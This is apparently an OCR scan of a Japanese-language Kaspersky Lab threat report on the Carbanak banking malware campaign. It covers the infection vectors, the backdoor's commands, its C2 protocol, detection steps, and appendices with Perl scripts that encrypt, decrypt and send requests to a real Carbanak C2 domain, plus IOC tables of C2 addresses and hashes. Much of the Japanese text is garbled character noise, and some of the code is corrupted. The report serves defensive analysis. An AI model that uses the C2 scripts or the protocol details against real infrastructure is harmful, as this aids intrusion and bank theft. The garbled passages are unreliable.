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1. T E€IT47 97—

2013 FLURE., ERFHADYAN—LREETIL—THRITOERMBEERET D
EHAEETVFET . KEBOFAORTATEERLT, HEELEELS (LEA)
[CLdE. RERELEE 10RBFLIZERAERON  HEFRELHRVOTOET,

COLR—FTIE, ChoDBEZRIMTEMBITLET .

WEHE(X Advanced Persistent Threat(APT) ICKLRoNBTI=vI%FE->TH
U, EHRFE T K. B LOMBFEMNELE-REEREDNET,

BEEDWLER. W REICITENEKBEA- LAFERAIN-ZEN S MY
FLzo SNIFERDEITEHFD LY LY ZFZEST-A— )L T, Microsoft Word 97 —
2003(.doc) Z7AI)LEar rA—)LIARIILT Ty (.CPL) 7ML AR TSR TLY
Fliz, £z KEEIEREHICERT S Web A EHRTALIIRTOA+
FYPADERELHITOTLN=LSTT,

CDA—=)LiRfT 774 ILIE Microsoft Office 2003, 2007, 2010 (CVE-2012-0158
H XU CVE-2013-3906) & Microsoft Word (CVE-2014-1761) DEL\FFI4EZFEFH
LET, WBAHIIT SE. O T/LO—KIZ&>T Cabanak D/ \wIR7HAEELS
n,EZTINFEY,

&1 & Carberp #A—XI[ZLTLV= Carbanak (. F#REFEOCT —ADFIEER
EDEBITERET SNV IRT TS CNICRRELE-IOUADYE—RT VTR
MNEREICRYET . 7TV ERICHEILEEHEE FRALEZRYNT—VZFEHHIZE
BL,. TORBRELLIC. SFEITFLHRALKY—ILEERELT. RAZDAIVTS
ARSOFXIZHBBD)TANIVED AT LIZTIERALET , 512, Ammyy JE—
FMEEY—ILDEIEY I ITTEAVAR—ILLT=Y, SSH H—N—IZFRERA
LU BILIZHYET BLVIEIZ. A TORRELE>T-HRFTD Carbanak
Tz F7DOHI(ZIE Carberp DYV—RIA—FE—HIFEALTNVENWN—2303H
YxELT=,

WEEBEDRYNT—VIZEBALEREEL, 9. RV EBEY—EXOELBETE

[TV (ATM) . €O ERLET . HEENERBTHEMEEHS

(SWIFT) #ybD—0%FERLT. BODAEICEE LIy —REHYEL=, F1=.
Oracle T—HAR—XFRELT, ZDRTICKILOEDOTEYMA—FOEERHE

LizY. Ao SANFR VT ORTLEFE> TOEMESLIZULEZERI RN

FLt, 52, HABRTEDOEBIZETED ATM NoREFHVOHESE, FHELTL

EAREEEFEE (IR—I2—)L) [CERSEHEVSFAICE ATM RykT—oH

FHhTLELT=,
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EED, WEEIIBITORES FICVATLEBRED/AYVIV L TOIRELE
BIJ74I)LELTREEEL., C2 H—/N—[TFE->TWVELT =,

CCTEBLTVWVELEELVORK WEENESGO—DLA—F—ITRYTEL
T RO Y —ERZEALTWV=ELVIRTY  BYTFEShf-2a—H—(E, Yo
N—LRENRICBHRLBEETIEREF > TOELE, 202 TWSRY.,
AR DY—ERE—8, HBZZ T TOWERA T, Y —EXDEVHENE
AEhi=blFTEHYEE A,

COLR—FDMER A THEICE-TLAIRITOERMES 100 #0556, 4
CEHLEDIEHMBEREHE > TLT. ZORFEFOS T XKEH. KAV, FE. D
DA FICEFLTVET  BEIFE KT, ATM FERICKYH 730 ARILEXRD
FBEEOC. AVSANX T TSI THr—LEERSN 1000 BRIILDIE
KEHLIET—ADHYET,

BENEBRERFENMELHSA RECPHERORITOEANEESNTVEYS,
E5IT, =8O C2 H—N—IZ(F RERNITFET IV AT LADERERSTOY
IUMJBZEOTVEY  FIRMEH I RBENTOTOHRE, 7IVH BRMGE
DHFAZLBENEIHEARLTNSIEEZRLTVET,

COLR—FTIE WEAYRLORBRREANZZALEEDIC, MEIREITHTILIZK
BENRYNTI—VEBRTSEOICERTHZY—ILFIYMIDWTEHRALET . F
f=. COFEBDEBRDFMEMBHIMICONTIELDHFT,
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2. 5

2014 3. Kaspersky Lab D ATM O I74+LoPvo 0 iEITOEL, X
KLGofz ATM (FTELIZWOD = AR TEREZILWLEL TV =D TT A, #h
M ATM MBI ITIRELIZ R F (T — VB B AATICHRBINTOERAT
LTzo ZLT.ATM ATz 7dmHESNFEFATL Iz, LAL. VPN #HTZ
noM ATM IZEHELTWV=HSaEa1—4—IZ Carberp IZ8lF=TIL 97 HH
RahZFELT,

COBEHDOEEITHKRE. 2014 FE AVSAVNOX VT VAT LIZRET VR
Sh1-#R17% &L TL = Kaspersky Lab & Carberp [ZIEE(CKLBlI=7ILHT
TEHELEL

CORAEBETIF. BRERERR I H-OIC. RIICCORITRICHEET 5T XTD3
VEA—R—% BT HEIAMNDIEHFELIZ, 2T CPL 77/ DR AINTAZ
MR BEA—)LERRLELZ, CNITERETDHE EKIFED ATM BHEDEHT
ROohofz3MERL Carberp ITEIFZR LI T A RM—ILENFT,

FEAEDT—RAT. 2 ~ 4 HRICOIDTRYRNT—IANDEANTHOA TN
CEFEHEEORBRNICHIHMBEEDIAVE 21— —AREL TV -ATHEHEN
HAEERT AN EOTNET . REERFCOHMIC. HEBDLATLPE
BRVATLANDT IV ERZFICAN, MEZSISHIT=DIZY—ILPVRATLD
BIEAEEFELTVEL,

WEE(X Carbanak ITHREHIN TOSEREH IV R—RUPEFEL>T HEED
VAT L L CEEIREEEERTHIENTEET ., FOEMNFT. REHMICH
2B OEENTREIZEY, S—F Y DEBFIEOCEEEFDR—RXZIRET
EFEHEICHYFET . KBEILINSDFEREEMBLIZSAT. HEDI—YMNIE
HhEEFEVBEOREFEOADZXLZEHFEL., HARLTULVELT,

2.1 BELinR

ERINE=TRTHHS—XT Microsoft Word 97 — 2003(.doc) 77/ L E =%
CPL 774D RSN ZN B R BIZEMBE R BEA—)LNERINTOVEL, C
® doc 74 JLIZ. Microsoft Office (CVE- 2012-0158 KU CVE-2013-3906)
& Microsoft Word (CVE- 2014-1761) Dl AZERLET,

NLDHRMAIT7AINTHEREINTWAIIRTOA N PER THH A REMZRIE
TEHEFELMNYNEINTVET . COFBTHESNzOTRF&IVMA—)L(C2)
Y—N—([FHEERNICEELTOELz, £, —SEAMC DO ZEZFERICIE.,
EADLDEHTEINDET—ENFEHLATNET,, HBPA ., TNLITKREHIZLD
BT BIERORTEEEEHYET,
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A—TYMEIRBREL-EEDRETICHIREELETL, COEMBEKREA—)L
FEEIZE2EELLVBD T, FIZIFAREBASN-REBEDOTHIU I DEES
NTWT—REBYELze FERASNIZIVRTLIEZZD KSR EZKRELT
ERSNEL -,

WEEBEORFEIIOLT7EBEOERBEREIZ>1-1=6. Kaspersky Lab H4FEL
R I7AIVDERIEZIFEAEDIGE. OV TETRBIATVEL,

f=&Z X, TCootBetctBre ©3-115](XMEFREADEH . [MNpurnawenue | &
THBHERIEVWSEKRTT, —BRORESICHMNI7AILERIE. IILDITEER
BT AICE.CNTHATT . I7MILEBD—EICDONTIE, 18 4 25HRL T
Pt AW

LITFIZRT DIE Carbanak {2 B EA—)LDHITT :

CNERRTDERDISIHRYFET:

ZM47—ATIl&. Roshal Archive (.rar) is K IZ[Efash 1= CPL J7A/ILDNRftEh
TULWFELT=,

FUOBEHEERLTETINO—FIE, HEEDL XTLIZ Carbanak />R
F—ILLET . RSN BN R IREA— ILO—EIZDVTIE, T8 1 - RET7H!
4909 1S BLTIESLY,

F. ENOHBIRSTATNAZ Y O—RRBLEREFERLELTHERINTNSER
HNET, Null 2 RedKit ELV>F-TH/XTOA/ YR DERLFERLEL-,
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CTpaHa Bcero ¥HHEH 3a0NOKHPOEAHC  OTOSEIHD MpotuTo

Switzerland 783 Taz ] ] 31
GErmany 170 170 u] ] 1z
France 158 157 0 0 El
Unknown 163 163 ] ] 4
Austria 30 29 0 0 )
Inited Kingdom 16 15 1 i} z
Ttaly 27 27 ] a 2
Europe 14 13 1 ] 1
Senegal 12 12 0 i} 1
Lithuania 3 3 ] ] 1
Sweden 4 3 ] ] 1
Bosnia and Herzegovina 1 1 u] ] 1
Migeria 3 3 u] 1] 1
Zhina 1 1 ] 1] ]

B 1.Null TO2X 704 kr+vk— %3 Carbanak C2 TEEIN/-HEEHIZEFT Bi%5H

LDRDIIZHLIE, EHSIEIZ. BB, SHHEAEDRA, A =—V5hMEHK. D
AvyEnfza—4—#, RS h =B RH BEXKTT,

2.2 TI)LYTT7 9 #7 — Backdoor.Win32.Carbanak

Carbanak [FHEEMNI—S YNNIV UADFEBRAIZFERTH/N\VIRT7D—FE
T9, Carbanak Z#FEAT BICIE. ZHEKRBEA—IILFIFIIRTAAF YA
DIHVRATAACBRAOA—RERTTEIHLELAHBYET . COEHaVTIE,
Carbanak DHEEEZ R HTLET

Carbanak & B &% svchost.exe | &LV BRI Tl %system32%\com JIZaE—L.
I7AIVEBHEI AT LA RLI7ZAIL, SiABYERIICRELEY . TOR. IV
ATAACDRAO—FIMERELIZTTDI7AILIZBIBRESNET,

HEETHERBZHEGRT 5=, Carbanak [THLWWS—EREERLET, BETD
¥l <ServiceName>Sys | T9, ZZT. ServiceName [ZIZEREDH—E X H
LIUA LICEAZZRIDS%E 1 XFEHIBRLZARINF TONET, A,
BFEDOHY—E XD ARTIHaspnet] THRIRB A Asp.net state servicel THSHHE .
Carbanak MERLT=H—E XD &AL aspnetSysIZ74Y |, &R 4 (&I Sp.net
state service|IZiEYFE T,
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BHLGY—EXZEM T HRI1IZ. Carbanak [F T avp.exe £1=1d avpui.exe 7O
TR(EELINRARIVAF—AV A=y b X2 T4 DAVR—FR ) BNEFTS
NTVEMNESIHEHILET . A—T I RTLICTAGA R DM -5 E.
Windows XP. Windows Server 2003, Windows Vista, Windows Server 2008,
Windows 7. Windows 8. # &1 Windows Server 2012 DBEEEID V1.
CVE-2013-3660 #EALT. O—AIIERD IR AL —2a EHAFETH. 2D
NEBFREFZDOLEVNEOERON, KEBEIIB P DY—ILER A KO EIHERE
E3tEFET,

Carbanak (774 )L%& 1 DERL. CNIZSU A LT LRI (PE5EF (& .bin) 4
7. %COMMON_APPDATA%\Mozilla [Z&REFELET . ZOT4LIR)IZIE. Ch
MEEFTEINZIATUREAEIEISNTLVETS,

ZTDH. LRI
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
AR D2 - 357% N

%AppData%\Mozilla\Firefox\<ProfileName>\prefs.js m 5 Mozilla Firefox #& Rk
T7AIVERELET

How to detect Carbanak

One of the best methods for detecting Carbanak is to look for .bin files
in the folder:

Al users\%AppData%\Mozilla\

The malware saves files in this location that will later be sent to the C2
server when an internet connection is detected.

A .BAT script for detecting infections is provided in the Appendixes.

Ft=. 7T Ur—23vh SOCKS Ff=l& HTTP #ETEELIzAYE—METO
FUBRIERERISTHIELLTEEY,

Carbanak (BB ®Ma—K% svchost.exe |EALET , LLTFIZERBATE7 53
COREFCOTORTITONET,

Carbanak [&.C2 #—/\—Hi5 kidconfig.plug Z7AILES 9> O—KLET, =
DI7AIVIZIEERORRELRZTOLRADERIMNRHINTLET,

ORT LEBRSEXE - Carbanak [& 20 #z—FE. ¥—XkO—4%045 2505
L. RY)—2iaybzaimelEzd, ZDF=HIZ, ResumeThread a—J)LANMEZ S
nEY,
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Carbanak [& Termservice D% —E XE{TE—F% Auto [ZERZEL. YE—FTRY
by 7ORa)L(RDP)ZFE- T, BELE-aVE 1 — 42— ([TEHFETEREIITLET,
Fr. ZOY—ERDETE. ABRYHNDOETAGEO—FEEELT,. YE—b1—
Y—O—HIA—F—DERFICEETOCREHEILTELLSICLET . COTO
T ATIEESNZEY 1—ILIE, termsrv.dll, csrsrv.dll, msgina.dll, winlogon.exe
TY,

Carbanak [, BZELF-a E1—2—TNU X5 7T r—30 BLIZKOGES
YOI IT)EBRETEE.C2 H—N—IHREEBMEEELET., £1-.
Carbanak A% IFOBS N\ x5 7T r—av xR LIZB A&, AT URI2&
T.IFOBS Y AT LRDIIWRF 1AV CDEFHARSASNET,

Carbanak (& C2 #+—/\—&M X {E(Z RC2+Base64 THEFLINf- HTTP Ok
JLEFEMAL, Basebd [CEFENTLVEWXFEEBMLET,

T2 HTTP YU RAASU S LIZ, SESFEGIRF (gif, .htm &) EHFOXF
HERALEY

ROEA(FEFH)ZL Carbanak VI ZADHITY

GET
/cBAWFvkXi94QxShRTaVVn/YzAxD/X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bml?tIxCFiB
usj=20Vj&9IGP=aShouGz&K.F=T&I0.7FBN75=nMPDrlGXq4s7cIAQOCI6621wVjxvsiTOIGOd Opd
HTTP/1.1

Host: datsun---auto.com

Carbanak [FUREL-BERT—4% C2 H—/N\—ITEELET . T, WEEHND
NDARUKEDZELITLVET , Carbanak (XFZELF-av REBEDEFED/\wa
F—TILERBREITL., =B/ alCEEMFonf=ToavEETLE
9

Na avwoR SR BA

0AA37987 B I7AILIZEMEN TSRO RE T RTEITLET,

7AA8A5 state I TRETSTERELET,

7CFABF video F Y TFYLEEREERIETOERY4VURIETAHE C2 ~EIEL
EXI

6E533C4 download C2 MOEITAIEEI7AILES HO—RL, ETLET ., 21T
FRET7AILIE %TEMP% (2525 LB BT TS TLY
EXI

684509 ammyy TAmmy Admin])E—kavkA—LY TRz 7EE S O—
RFLTEFTL. CNERATLDI7AT 04— LIS ZRZ
EBMMLES,

7C6A8A5 update RILOITETYVIT—hLET,

0B22A5A7 S REE L E T («kigconfig.plug») o
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KASPERYKYE
Ny avwk 55BA
0B77F949 I~BH,
7203363 killos LUTFDT7o2avERTLT ARV—T AV T VR T LERGIET

LFET:

1- «ImagePath» L XN)
[HKLM\SYSTEM\ControlSet001\ services\ACPI].
[HKLM\SYSTEM\ControlSet002\services\ACPI]. 8 XU
[HKLM\SYSTEM\CurrentControlSet\services\ACPI] =~ B
T—RIZEMLET,

2- N—RFS47 «\\.\PHYSICALDRIVEO» DT D 512 /8A
MZE O DINAFEEZTIAHFET .

1)J—krLET,

78B9664 reboot OS #)7—kLZET,

7BC54BC tunnel BEINERINT—IFTRLAAND YN T =R R JLEERK
L. I RTCDIZ T4 IEZIT—T1VTLET,

7B40571 adminka BESN-TOXRREEFEALET,

79C9CC2 server C&C H—/N\—%ZFHLET,

7C9C2 user A—Y—FERFELIFHIBRLET .

78B0 rdp ltermsrv.dill. lcsrsrv.dill. Tmsgina.dil. & UTwinlogon.
exeEPa—ILEZELET . COEEIZKY . RDP FOka

LERBLIEMOEHEORTHTEEI7Y . RDP K

SNBDKESITHYET,

79BAC85 secure INRT—FRRYL—IZEET 5 dil ZO0—KL., LEELFET,

#HLLY dil DIFFFIE«Notification Packages»

[HKLM\ System\ CurrentControlSet\Control\Lsa] L' X k1)

F—FERAULLET,

6ABC del BEINI=Y—ERFIET7AMILEHIBRLET,

0A89AF94 EESNIZOIUR/N\YIaEETLET,

79C53BD BESNRYNI—U DB TI7AILEO—RL, EIT
LET I7MIFAEIRTRITSNET . /N —F VT
IS FEE A

0F4C3903 A—ALA—HF—DIRATL/INRT—R%E C2 ITEELET,

0BC205E4 screenshot BEmEavrEERL EELET,

7A2BCO sleep fEESN-HIM. LT T DFEEEEIELES,

6BC6C dupl P N: N

4ACAFC3 BESNFEI7ANFELIETALINETYIO—FLET,

7D43 vnc VNC &yl a vz LET,

9C4D055 ;I

2032914 I~EH,
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Carbanak Z T ITAYMLLLREST=8. HIEMD Carbanak T ILITTT4
ILEZINTWET:

1. footprintcrsgn.dll
MD5 08F83D98B18D3DFF16C35A20E24ED49A

& 2.Carbanak DTS5 EH
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2. PAExec_Move0.dat
MD5 972092CBE7791D27FCO9FF6E9QACC12CC3

& 3.Carbanak DTS5 )LEH
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Carbanak DBAILEKRY—ILIZETORIILBEZINTLSELONHYET:

3. PAExec-6980-PB-FS-01.ex_
MD5 86A5C466947A6A84554843D852478248

K 4.Carbanak RAAXY—IDTERILES
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B
ZNFETIZ VirusTotal A7y FO—K & 1= Carbanak ®E RIS T ILEK:

& 5.Carbanak @ 7w 7 O0—R%;(F5)

Carbanak 24 > O0— K3 53BADIHRTOAMCOXREF. O TMhB
VirusTotal [C7vyT7A—FEhTWVET,
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KSN 7 —RICEIKBEEEDHBEH D HIERDESYTT :

60
52

7
. 2 2 1 1 1 1 1 1 1
Russia China Ukmine Uzbekistan  Austria  Germany  India  luxemburg  Spain Sweden Great
Britain

© Kaspersky Lab

X 6. 4% ZE DRI 5 77 (KSN T—HIZkB)

DX EEL = Carbanak 7LDV RAIILBF DS HTY . =L, S
NEEBEEIIBRNALTHYET:

35

30 29

5

20

0
0813 0913 1013 1113 1213 0114 0214 0314 0414 0514 0614 07.14 0814 09.14 104 1114 1214 0115

© Kaspersky Lab

[ 7.Carbanak I/ NAILZALLRE T D57
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% 1=, VirusTotal [Z#gR& &N T- Carbanak DN HESTSTILLTHBE. HEE
N1 —HF—PEXa)F HEEMN Carbanak IR DW= EAOILFEES
—TDEFEOE—IEHELOILGYET:

30
27
25
22
20
15 14 13
10
8 7
5
2
0 0 0 - 0
01.14 02.14 03.14 04.14 05.14 06.14 07.14 08.14 09.14 10.14 11.14

© Kaspersky Lab

& 8.VirusTotal [Z#F&&#1 7= Carbanak #{ D5 #7

SAERAIR L ¥ S, Kaspersky Lab (& LEA B ALEASIHEZRITTEE L=,
Z DM, LEA [$MH B DOREI SB/I#ETT—2% Kaspersky Lab IZHEFL. 2D
TANEHDOEBERITEILEL,
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RO, 2014 F 10 AR FE. Carbanak [TEEZL - Linux —/3— 3

RRIN=2—7Yh IP PELAOEZEERIRLTOET

17

aT

CarbanakiZmy< v 7

HEDH K Z30HEL
&A10077DIP7 KL X300 1¢h‘$¥3@tzc

,*J / SR F
AN ie SR SR, boy
\,’0 ] ) ,k’)- N L

//)\

\\“x %

BER>IPDE (F5)
1-9 9-35 B 35 - 200

PRGN LY P
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200
180 78
160
140
120
100
80
60
o n
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0 I - w2
Russia Germany (hina Ukraine (anada  Hong-Kong  Taiwan France Spaln

Lab

B 10. 4 FEZ 11 7-4R1T P LS DRI 777 (C2 T—HIZkB)

23 BAMLKY—IL

Carbanak [LREELI=DRATLATEEETFRY—IEFEALEY . V—ILORAREI
FRNENRERYETA, JE—Far,O—)LETS Ammyy Admin JE—FEE
Y—ILAELFERASNTOSESICRZTONET  EKRMICIL,

Ammyy Admin 3.5(f8cd52b70a11a1fb3f29c6f89ff971ec) = svchost.exe
ELT7YTR—FTHREBELABRHMSNTVET,

WEENIOVE—LEBEY—ILZFEALEDX. HEEZZT-ETORETEHE
ENBEMICERALTNSY—ILT BE. RITA)RAMIEHELSN TSNS
ERDONFET,

F1=. 190.97.165.126 (operatemesscont.net) [C#H B C2 H—/N—EDREIEIZ.
SSH O /N\yIR 7R ERIN T =EHEHYELT-,

hid, WEE D Microsoft Windows BIELAMNZERIEL TSI EERLTLNVE
T SO —ATIX, EEEZ(H-£RMEIL PUTTY &ULV5 Telnet/'SSH 9547
UMEFEOTH—/N—ITEHLTOELED, KEBEIN\VIRT7EFE->TIDOIY
2D SSH T—EUHEYaAVINAILL, BET7IERETREIZLEL .

NEDY—ILOOSIZIE. 2 2D IP AoDTIEANEFEINATLET, Chd
[ED95A4FETSVRD IP T, HEBENMERLI-EDERONET,

Fr BV R T LEHIETEDLSIZTT 51012, KEENFEETEDRYNT—Y
R TEIEIZELY—)L (Metasploit, PsExec, Mimikatz %&) ZFERALI-CEEWEE
HEMBERINTVETS,
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2.4 R&IAVRA—)L(C2) H—/N—
C2 H—/IN\—IZIZXRD 4 FBEEMIHDERONFET:

- EBI&N1= Carbanak AV RAVRAITAVURER(EL. IWESNF-BIRT — 4%
Z(TES Linux H—/3—

o HEEBDVATLAD)E—MMERKIZERASINS Windows H—/3\—

o NYITYTH—/\—

o EBMENI=ETAREI7ZAIN(VE—LEBY—ILEE)ERRANTERAYTH—
IN—

H—N—FEFEFX 2 BEI—EOXR—ATO—FT—YavehFzd . BFEShT:

Carbanak H—/\—®O—&IZDUL TIl&. Carbanak IOC RFaALrETHEZEES

W(CDRFANIEEMICEFINET), IOC DTREF) RARIARLR—LDF

%3 1ZhYFET,

ZD&E3H C2 H—N—D—E L. Ammyy (R I7 A ILEETRIBET7MIL) .
KLG T35 A1V (BE1R35702RAM )AL KU VNC H—/3—(rundll (2
FASNhD 32 Evhé 64 EvbOmA)DRAYTIZEELTWET, RSN
H—/3\—®D 1 DX, Metasploit EV 21— I)LEADTULVELT=,

B 11.Linux T#1EL TL & Carbanak S /\£/L
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B 12.Linux THAEIL TLVE Carbanak S/ NHE)L, TS50 1> D—E

& 13.Windows THEjL TL V3 Carbanak &#/Y# /). Carbanak #2881 T RDP,
VNC, O+, Ro )L ZFE{Ta B

BEEDVRAT LI, Y—N—DT—4R=R(ZHEOTLENTVET /TS
FaZa=TARICHESNLG-H, EEFEETT, 28T 7 3232=74.85 D
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E=S1t
#!/usr/bin/perl -w
#Work with Carbanak c2 use
strict;
use warnings; use Crypt::CBC; use
Crypt::Cipher::RC2;
use MIME::Base64; use LWP::Simple;

#my $c2 = "worldnewsonline.pw";
#my $reguest = "1234567890123456";

my $reguest_was = "JybDHkfWGURJPuWeUpPMX/ca9BThbDimOHdk/9YzkJS7m8a19tz
QwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKf MjpWBM18eX8VUiimyaUZMGoClZ6eShS9tLCK
tuHVIMQ3Dc26y90FbPlua.7LGHGZCBPj.vd08DUENC50AE4V fyUz.shtml";

$reguest_was =~ tr\\=\&\?//d; my $replace = "";
my $find=".shtml";

$reguest_was =~ s\Q$find\E//g;

$reguest_was =~ s/-/+/g;

$reguest_was =~ s/\./\//g; print "$reguest_was\n";

my $iv = substr $reguest_was,0,8;
$reguest_was = substr $reguest_was,8;

my $base64_decoded1 = decode_base64("$reguest_was"); print

"$base64 decoded1\n";

my $length = length($base64_decoded1); print "length is: $length\n"; print "iv is: $ivin";
print "req is: $reguest_was\n";

my $base64_decoded = "${baseb4_decoded1}"; my $key

= "vfDGbiwmiqdN6E2N";

#my $key = "1234567812345678";

my $cipher = Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none',
-literal_key=>1, -key=>$key, — keysize=>16, -iv=>$iv );

my $plaintext = $cipher->decrypt($base64_decoded); print "Decode:\ n$plaintext\n";

#Decrypt is
#HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data=listprocess|pro
cess=svchost.exelidproce ss=4294967295||IBHReFDRDfYG

#my $url = "http://$c2/$base64_encoded";
#print $url;

#my $contents = get($url);

#print $contents;
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#!/usr/bin/perl -w
#Decrypt Carbanak c2 responce use strict;
use warnings; use Crypt::CBC;

use Crypt::Cipher::RC2; use MIME::Base64; use
LWP::Simple;

my $c2 = "worldnewsonline.pw"; my $reguest =
"HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data=listprocess|pro
cess=svchost.exelidproces s=4294967295||BHReFDRDfYG";

my $iv = "JybDHkfW"; #should be random my $key = "vfDGbiwmiqdN6E2N"; my $cipher =
Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none’,

-literal_key=>1, -key=>$key, — keysize=>16, -iv=>$iv );

my $ciphertext = $cipher->encrypt($reguest);

my $base64_encoded = encode_baseb4("$ciphertext");

$base64_encoded =~ s/\x0a//g;

$base64_encoded =~ s/\/\./g;

$base64_encoded =~ s/\+/-/g;

my $base64_encoded_ex = "${iv}${base64_encoded}.php"; my $url =
"http://$c2/${baseb4_encoded_ex}";

print $url;

#http://worldnewsonline.pw/
GURJPuWeUpPMXca9BThbDimOHdk9YzkdJS7m8a19tzQwZxo1vvQr7SHJcCmétdp ZGp.
dmDwKfMjpW.BM18eX8VUiimyaUZMGoClZ6eShS9tLCKtuHvIMQ3Dc26y90FbPlua.7LGHG
ZCBPj.vd08D UENC50.AE4VfyUz..php|

my $contents = get($url); print $contents;
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CnC Mo IJ7M L EESE

#!/usr/bin/perl -w

#Decrypt Files from sended from c2 use strict;
use warnings; use Crypt::CBC; use
Crypt::Cipher::RC2;

use MIME::Base64; use LWP::Simple;

my$file=$ARGV[0];0pen(DATA,"<$file");open(DATA1,"<$file"); open(DATA2, "<$file");
binmode(DATA); binmode(DATA1); binmode(DATA2);

my ($data, $n, $offset);

while (($n = read DATA, $data, 1, $offset) != 0) { $offset += $n; } my
$length = $offset;

my $iv_len = read DATA1, my $iv, 8, 0; read DATA2, my $crypt_data,
$length, 8; my $key = "viDGbiwmigdNBE2N";

my $cipher = Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none',
-literal_key=>1, -key=>$%key, — keysize=>16, -iv=>$iv );

my $plaintext = $cipher->decrypt($crypt_data); print "$plaintext";
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HEx 2: BRERHA BAT I71)L

@echo off

for /f %%a in ("hostname') do set "name=%%a" echo %name% del

/If Y%oname%.log 2> nul

if exist "c:\Documents and settings\All users\application data\ mozilla\*.bin" echo "BIN
detected" >> %name%.log

if exist %SYSTEMROOT%\System32\com\svchost.exe echo "COM detected"
>> %name%.log

if exist "c:\ProgramData\mozilla\*.bin" echo "BIN2 detected"

>> %name%.log

if exist %SYSTEMROOT%\paexec* echo "Paexec detected"

>> %name%.log

if exist %SYSTEMROOT%\Syswow64\com\svchost.exe echo "COMG64 detected"
>> %name%.log

SC QUERY state= all | find "SERVICE_NAME" | findstr "Sys$"
if Q% ERRORLEVEL% == q0 SC QUERY state= all | find
"SERVICE_NAME" | findstr "Sys$" >> %name%.log

if not exist %name%.log echo Ok > %name%.log xcopy /y %ename%.log
"\<IP>\logVirus
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8% 3:10C /KX K
First Source: Sample md5/Detection name/
IP/Domain name seenin Type System Comment
108.61.197.254 2014-07 Carbanak’s 1046652E0AAAB682F89068731FA5E8ES0
Linux CnC
112.78.3.142 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
118.163.216.107 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
131.72.138.18 2014-11  Carbanak’s Internet scan
Linux CnC
141.60.162.150 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
146.185.220.200 2014-08 Carbanak’s Victim's logs
Linux CnC
162.221.183.109 2014-12  Carbanak’s 1684a5eafd51852c43b4bcad8b58980f
Windows
backconnect
162.221.183.11 2014-12  Carbanak’s 1684a5eafd51852c43b4bcad8b58980f
Windows
backconnect
173.201.45.158 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
173.237.187.203 2014-08 RedKit Victim's logs Exploits drop zone
ExploitKit that used to install
Carbanak
174.143.147.168  2014-10 Related to CnC of other malware
Carbanak used to install
Carbanak
185.10.56.59 2014-08 Carbanak’s 551d41e2a4dd1497b3b27a91922d29cc
Windows
backconnect
185.10.56.59:443  2014-07 Carbanak’s 4afafa81731f8f02ba1b58073b47abdf
Windows
backconnect
185.10.58.175 2014-07 Carbanak’'s 4afafa81731f8f02ba1b58073b47abdf IP of
Linux CnC financialnewsonline.
pw
188.138.16.214 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
188.138.98.105 2014-10 Carbanak’s 0AD4892EAD67E65EC3DD4C978FCE7D92
Windows
backconnect
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First Source: Sample md5/Detection name/
IP/Domain name  ggenin TYPE System Comment
188.40.224.76 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
190.97.165.126 2014-08 Related to Victim's logs Ip of SSHD backdoor
Carbanak installed after
Carbanak's infection
194.44.218.102 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
195.113.26.195 2014-11 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
198.101.229.24 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
199.255.116.12 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
199.79.62.69 2014-07 Related to Victim's logs Exploits used to install
Carbanak Carbanak
204.227.182.242 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
208.109.248.146 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
209.222.30.5 2014-07 Carbanak’s 1046652E0AAAG82F89068731FA5SE8ES0
Windows
backconnect
216.170.117.7 2015-02 Carbanak’s 6ae1bb06d10f253116925371c8e3e74b
Linux Cnc
216.170.117.88 2015-02 Carbanak’'s
Linux CnC
217.172.183.184 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
217.172.186.179 2014-10 Carbanak’s Victim's logs
Linux CnC
218.76.220.106 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
31.131.17.79 2014-09 Carbanak’s Victim's logs
plugin CnC
31.131.17.81 2014-09 Carbanak’s Victim's logs CnC of other malware
plugin CnC used after Carbanak's
infection
32dsffds8743jsdf.  2014-10 Carbanak’s 08f83d98b18d3dff16c35a20e24ed49a
com Linux CnC
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First Source: Sample md5/Detection name/
IP/Domain name  ggenin TYPE System Comment
37.235.54.48 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
37.46.114.148 2014-10 Carbanak’s Victim's logs
Linux CnC
37.59.202.124 2014-12 Carbanak’s Internet scan
Linux CnC
5.101.146.184 2014-10 Carbanak’s Victim's logs
Linux CnC
5.135.111.89 2015-02 Carbanak’s 100d516821d99b09718b362d5a4b9a2f
Windows
backconnect
5.61.32.118 2014-10 Carbanak’s 972092CBE7791D27FCOFF6E9ACC12CC3
Windows
backconnect
5.61.38.52 2014-10 Carbanak’s 08f83d98b18d3dff16c35a20e24ed49a
Windows
backconnect
50.115.127.36 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
50.115.127.37 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
55.198.6.56 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
61.7.219.61 2014-10 Related to Victim's logs CnC of other malware
Carbanak used to install
Carbanak
62.75.224.229 2014-10 Related to Victim's logs CnC of other malware
Carbanak used after Carbanak's
infection
66.55.133.86 2014-10 Carbanak’s 972092CBE7791D27FC9FF6E9ACC12CC3
Linux CnC
